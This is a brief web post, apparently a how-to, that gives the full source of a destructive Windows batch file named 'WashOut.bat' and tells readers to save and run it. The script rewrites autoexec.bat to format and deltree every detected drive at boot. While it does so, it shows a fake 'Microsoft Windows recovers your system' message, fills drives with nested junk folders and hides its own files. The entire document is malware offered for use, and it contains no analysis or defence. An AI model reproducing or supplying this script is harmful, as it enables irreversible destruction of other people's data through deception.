There is Trick to make a Virus which can Wash Out the Computer Completely. This Virus is so powerfull that, it is even Detected in its Text Format. To make this simple Virus follow these simple steps :
1) Open Notepad.
@echo off rem. :start cls echo Loading . . . call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo call format c: /q /u /autotest >nul >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat >nul set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z echo @echo off >drivechk.bat echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find “Vol” > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo Loading . . . echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find “bytes” > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo Loading . . . echo @prompt dir %%%%1:.\/ad/w/-p $b find ” 0 bytes free” > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat cls echo Loading . . . echo :enddc >>drivechk.bat :testdrv for %%a in (%alldrive%) do call drivechk.bat %%a >nul del drivechk.bat >nul if %drive.==. set drive=c :form_del call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Idiot >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Idiot >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cd\ >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Welcome to the Dark Abyss. >>c:\autoexec.bat echo echo Sorry if you ran this file. >>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Regards, >>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Melchiore >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat :makedir if exist c:\temp.bat attrib -r -h c:\temp.bat >nul echo @echo off >c:\temp.bat echo %%1:\ >>c:\temp.bat echo cd\ >>c:\temp.bat echo :startmd >>c:\temp.bat echo for %%%%a in (“if not exist %%2\nul md %%2? “if exist %%2\nul cd %%2?) do %%%%a >>c:\temp.bat echo for %%%%a in (“>ass_hole.txt”) do echo %%%%a Die Asshole! >>c:\temp.bat echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat call attrib +r +h c:\temp.bat >nul cls for %%a in (%drive%) do call format %%a: /q /u /autotest >nul cls for %%a in (%drive%) do call c:\temp.bat %%a Mel >nul cls for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul call attrib +r +h c:\temp.bat >nul call attrib +r +h c:\autoexec.bat >nul cls for %%a in (%drive%) call deltree /y %%a:\*. >nul cls for %%a in (%drive%) do call c:\temp.bat %%a Mel >nul cls echo Again, sorry for killing your HD. echo. :end
3) Save it as WashOut.bat.
4) Now it is done. So it is a simple Trick to make a Virus which can Wash Out the Computer Completely